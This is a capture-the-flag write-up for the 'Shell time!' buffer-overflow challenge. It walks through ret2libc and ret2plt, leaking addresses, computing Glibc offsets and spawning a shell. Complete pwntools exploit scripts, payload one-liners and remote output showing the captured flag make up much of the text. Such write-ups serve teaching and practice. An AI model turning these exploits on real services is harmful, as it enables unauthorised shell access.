Shell time!
12 minutes to read
This challenge is the continuation of RIP my bof. Check it our first if you have not done it yet.
Now, the flag is stored at /flag2.txt
, so we must do something more than redirect the program execution to system("cat /flag.txt")
, as in RIP my bof.
The first thing I came up with was ret2libc. The idea is to obtain a shell by calling system
inside Glibc with "/bin/sh"
as argument.
For that purpose, we need to bypass ASLR, because Glibc is a system library and is affected by address randomization if ASLR is enabled (likely). This can be done leaking the address of a function inside Glibc during program execution. With this information, we are able to extract the last three hexadecimal digits and search for a certain Glibc version. Once we have it, we need to figure out the offset for system
and the string "/bin/sh"
. This will be explained later in more detail.
The binary is called server
, and is a 32-bit binary with NX enabled. If we run it, we see the stack and the value of $eip
(this was a helping hand for challenge RIP my bof). The input text is handled using gets
, which is vulnerable to Buffer Overflow.
To perform a ret2libc, first we need an address of Glibc during program execution. This can be done calling puts
and passing an address of a function in the Global Offset Table (GOT), so that the value of that address is printed in standard output (the value of an entry in the GOT is the real address of an external function, if it has been already looked up).
In order to call puts
, we must point $eip
to the entry of puts
inside the Procedure Linkage Table (PLT), which contains instructions that perform a jump to the GOT or handles the address lookup if the GOT entry is empty.
The address of puts
at the PLT can be obtained with objdump
:
$ objdump -d server | grep puts
08048410 <puts@plt>:
8048704: e8 07 fd ff ff call 8048410 <puts@plt>
8048716: e8 f5 fc ff ff call 8048410 <puts@plt>
8048846: e8 c5 fb ff ff call 8048410 <puts@plt>
8048881: e8 8a fb ff ff call 8048410 <puts@plt>
Then we need an address of the GOT, for example, the same puts
function. Again with objdump
or readelf
:
$ objdump -R server | grep puts
0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0
$ readelf -r server | grep puts
0804a018 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
Finally, we need to set a returning address. Since we will need to send another payload, we must run the program again but without closing the process. Hence, the return instruction must be the address of main
:
$ objdump -d server | grep main
08048430 <__libc_start_main@plt>:
804849d: e8 8e ff ff ff call 8048430 <__libc_start_main@plt>
08048640 <main>:
$ readelf -s server | grep main
7: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
61: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
73: 08048640 90 FUNC GLOBAL DEFAULT 14 main
Now that we have those values, we can send the payload. It will be made of 60 bytes of junk (taken from RIP my bof), the address of puts
at PLT, the return address (main
) and the argument for puts
(which is the address of puts
at GOT).
Let’s try it:
$ python3 -c 'import os; os.write(1, b"A" * 60 + b"\x10\x84\x04\x08" + b"\x40\x86\x04\x08" + b"\x18\xa0\x04\x08")' | ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea27a0 | 00 00 00 00 00 00 00 00 |
0xffea27a8 | 00 00 00 00 00 00 00 00 |
0xffea27b0 | 00 00 00 00 00 00 00 00 |
0xffea27b8 | 00 00 00 00 00 00 00 00 |
0xffea27c0 | ff ff ff ff ff ff ff ff |
0xffea27c8 | ff ff ff ff ff ff ff ff |
0xffea27d0 | 80 75 f1 f7 00 a0 04 08 |
0xffea27d8 | e8 27 ea ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea27a0 | 41 41 41 41 41 41 41 41 |
0xffea27a8 | 41 41 41 41 41 41 41 41 |
0xffea27b0 | 41 41 41 41 41 41 41 41 |
0xffea27b8 | 41 41 41 41 41 41 41 41 |
0xffea27c0 | 41 41 41 41 41 41 41 41 |
0xffea27c8 | 41 41 41 41 41 41 41 41 |
0xffea27d0 | 41 41 41 41 41 41 41 41 |
0xffea27d8 | 41 41 41 41 10 84 04 08 |
Return address: 0x08048410
0@>
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea2790 | 00 00 00 00 00 00 00 00 |
0xffea2798 | 00 00 00 00 00 00 00 00 |
0xffea27a0 | 00 00 00 00 00 00 00 00 |
0xffea27a8 | 00 00 00 00 00 00 00 00 |
0xffea27b0 | ff ff ff ff ff ff ff ff |
0xffea27b8 | ff ff ff ff ff ff ff ff |
0xffea27c0 | 80 75 f1 f7 00 a0 04 08 |
0xffea27c8 | d8 27 ea ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffea2790 | 00 00 00 00 00 00 00 00 |
0xffea2798 | 00 00 00 00 00 00 00 00 |
0xffea27a0 | 00 00 00 00 00 00 00 00 |
0xffea27a8 | 00 00 00 00 00 00 00 00 |
0xffea27b0 | ff ff ff ff ff ff ff ff |
0xffea27b8 | ff ff ff ff ff ff ff ff |
0xffea27c0 | 80 75 f1 f7 00 a0 04 08 |
0xffea27c8 | d8 27 ea ff 8b 86 04 08 |
Return address: 0x0804868b
zsh: done python3 -c |
zsh: segmentation fault (core dumped) ./server
Here we can see two things, main
has been called twice, and the leak has been produced (the weird characters 0@>
and other non-printable are the address of puts
inside Glibc at runtime).
Now we can create a Python exploit to extract the value of the leak and then search for a Glibc version that matches:
#!/usr/bin/env python3
from pwn import *
context.binary = 'server'
elf = context.binary
def main():
p = elf.process()
main_addr = 0x8048640
puts_plt_addr = 0x8048410
puts_got_addr = 0x804a018
offset = 60
junk = b'A' * offset
payload = junk
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
p.sendlineafter(b'Input some text: ', payload)
p.recvuntil(b'Return address')
p.recvline()
p.recvline()
puts_addr = u32(p.recvline().strip()[:4])
log.info(f'Leaked puts() address: {hex(puts_addr)}')
if __name__ == '__main__':
main()
If we execute it, we have the address of puts
at runtime:
$ python3 solve.py
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './server': pid 1746785
[*] Leaked puts() address: 0xf7e3b290
[*] Switching to interactive mode
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xff94ee90 | 00 00 00 00 00 00 00 00 |
0xff94ee98 | 00 00 00 00 00 00 00 00 |
0xff94eea0 | 00 00 00 00 00 00 00 00 |
0xff94eea8 | 00 00 00 00 00 00 00 00 |
0xff94eeb0 | ff ff ff ff ff ff ff ff |
0xff94eeb8 | ff ff ff ff ff ff ff ff |
0xff94eec0 | 80 15 fb f7 00 a0 04 08 |
0xff94eec8 | d8 ee 94 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: $
The use of context.log_level = 'DEBUG'
might be useful using pwntools
because all data sent and received is shown as hexadecimal bytes.
For the moment, let’s finish the exploit locally. Now that we have the real address of puts
and the program restarted at main
, we have another chance to enter another payload. Moreover, now we can compute the base address of Glibc.
ASLR works so that only a base address is randomized, and then the function addresses are computed using offsets. We can get the offset for puts
from our local Glibc:
$ ldd server
linux-gate.so.1 (0xf7f41000)
libc.so.6 => /lib32/libc.so.6 (0xf7d3f000)
/lib/ld-linux.so.2 (0xf7f43000)
$ readelf -s /lib32/libc.so.6 | grep puts
215: 00071290 531 FUNC GLOBAL DEFAULT 16 _IO_puts@@GLIBC_2.0
461: 00071290 531 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.0
540: 0010c050 1240 FUNC GLOBAL DEFAULT 16 putspent@@GLIBC_2.0
737: 0010dc90 742 FUNC GLOBAL DEFAULT 16 putsgent@@GLIBC_2.10
1244: 0006fa20 381 FUNC WEAK DEFAULT 16 fputs@@GLIBC_2.0
1831: 0006fa20 381 FUNC GLOBAL DEFAULT 16 _IO_fputs@@GLIBC_2.0
2507: 0007ac20 191 FUNC WEAK DEFAULT 16 fputs_unlocked@@GLIBC_2.1
The offset for puts
is 0x71290
. Notice that the last three digits of the offset match with the last three digits of the real address of puts
at runtime. This happens because ASLR generates an address that ends in 000
in hexadecimal digits. This is also a sanity check that everything is working well.
We can compute the base address of Glibc at runtime with trivial arithmetic. Afterwards, we can obtain the real address of system
and the pointer to "/bin/sh"
. These are the offsets:
$ readelf -s /lib32/libc.so.6 | grep system
258: 00137810 106 FUNC GLOBAL DEFAULT 16 svcerr_systemerr@@GLIBC_2.0
662: 00045420 63 FUNC GLOBAL DEFAULT 16 __libc_system@@GLIBC_PRIVATE
1534: 00045420 63 FUNC WEAK DEFAULT 16 system@@GLIBC_2.0
$ strings -atx /lib32/libc.so.6 | grep /bin/sh
18f352 /bin/sh
Now we can compute the real addresses and send the second payload, to call system
with the pointer to "/bin/sh"
as argument:
#!/usr/bin/env python3
from pwn import *
context.binary = 'server'
elf = context.binary
def main():
p = elf.process()
main_addr = 0x8048640
puts_plt_addr = 0x8048410
puts_got_addr = 0x804a018
offset = 60
junk = b'A' * offset
payload = junk
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
p.sendlineafter(b'Input some text: ', payload)
p.recvuntil(b'Return address')
p.recvline()
p.recvline()
puts_addr = u32(p.recvline().strip()[:4])
log.info(f'Leaked puts() address: {hex(puts_addr)}')
puts_offset = 0x071290
system_offset = 0x045420
bin_sh_offset = 0x18f352
glibc_base_addr = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_addr)}')
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = junk
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
p.sendlineafter(b'Input some text: ', payload)
p.recv()
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './server': pid 1758891
[*] Leaked puts() address: 0xf7dd1290
[*] Glibc base address: 0xf7d60000
[*] Switching to interactive mode
$ ls
server solve.py
Nice, now we can use remote
instead of process
and run the exlpoit on the remote instance:
$ python3 solve.py thekidofarcrania.com 4902
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked puts() address: 0xf7e17b40
[*] Glibc base address: 0xf7da68b0
[*] Switching to interactive mode
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffe12f10 | 41 41 41 41 41 41 41 41 |
0xffe12f18 | 41 41 41 41 41 41 41 41 |
0xffe12f20 | 41 41 41 41 41 41 41 41 |
0xffe12f28 | 41 41 41 41 41 41 41 41 |
0xffe12f30 | 41 41 41 41 41 41 41 41 |
0xffe12f38 | 41 41 41 41 41 41 41 41 |
0xffe12f40 | 41 41 41 41 41 41 41 41 |
0xffe12f48 | 41 41 41 41 d0 bc de f7 |
Return address: 0xf7debcd0
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
$
And it fails, this is because the server is using a different Glibc version. Notice that the last three hexadecimal digits of the address of puts
are different than before, and thus the base address of Glibc does not end in 000
.
However, we can search for Glibc versions that have puts
with an offset that ends in b40
, which is the one used in the remote instance. One useful Glibc database is libc.blukat.me:
Here we can download the file or take note of the offsets we need (puts
, system
and "/bin/sh"
). We must update the offsets:
puts_offset = 0x067b40 # 0x071290
system_offset = 0x03d200 # 0x045420
bin_sh_offset = 0x17e0cf # 0x18f352
Now we run the exploit again and we get a shell:
$ python3 solve.py thekidofarcrania.com 4902
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked puts() address: 0xf7d7db40
[*] Glibc base address: 0xf7d16000
[*] Switching to interactive mode
$ cat /flag2.txt
CTFlearn{c0ngrat1s_0n_th1s_sh3ll!_SKDJLSejf}
There is a simpler way to get a shell. Actually, the challenge says that there is no need to use Glibc. In fact, we can take advantage of the help that the program shows to exploit the Buffer Overflow vulnerability as in RIP my bof.
The key here is that the program is leaking stack addresses, so we can write there "/bin/sh"
and have the value of an address that points to that string. Another thing is that system
is directly callable from the program because it is in the PLT, as it is used within the code.
Therefore, we only need to call system
at PLT and add an address on the stack where we will store the string "/bin/sh"
.
We are able to take an address of the stack from the program output, for example, the first one. The idea is to overwrite the $eip
register with the address of system
at PLT, then, the next 4 bytes will be the return address (null bytes, we do not care), and the next 4 bytes are the pointer to "/bin/sh"
. The best idea is to enter "/bin/sh"
right after the pointer and compute its address to put it in the right position.
Some GDB testing might be useful to check that everything is where is supposed to be.
Hopefully, this comes clearer with the Python exploit, which is shorter than the previous one:
#!/usr/bin/env python3
from pwn import context, log, p32, remote, sys
context.binary = 'server'
elf = context.binary
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
def main():
p = get_process()
p.recvuntil(b'address')
p.recvline()
stack_addr = int(p.recvline().split()[0].decode(), 16)
log.info(f'Leaked an address on the stack: {hex(stack_addr)}')
offset = 60
junk = b'A' * offset
payload = junk
payload += p32(elf.plt.system)
payload += p32(0)
payload += p32(stack_addr + 0x48)
payload += b'/bin/sh'
p.sendlineafter(b'Input some text: ', payload)
p.recvuntil(b'Return')
p.recv()
p.interactive()
if __name__ == '__main__':
main()
And it works locally and remotely, without the use of Glibc:
$ python3 solve2.py
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked an address on the stack: 0xff9bac40
[*] Switching to interactive mode
$ ls
server solve2.py solve.py
$ python3 solve2.py thekidofarcrania.com 4902
[*] './server'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to thekidofarcrania.com on port 4902: Done
[*] Leaked an address on the stack: 0xffd57510
[*] Switching to interactive mode
$ cat /flag2.txt
CTFlearn{c0ngrat1s_0n_th1s_sh3ll!_SKDJLSejf}
The full exploit scripts can be found in here: solve.py
and solve2.py
.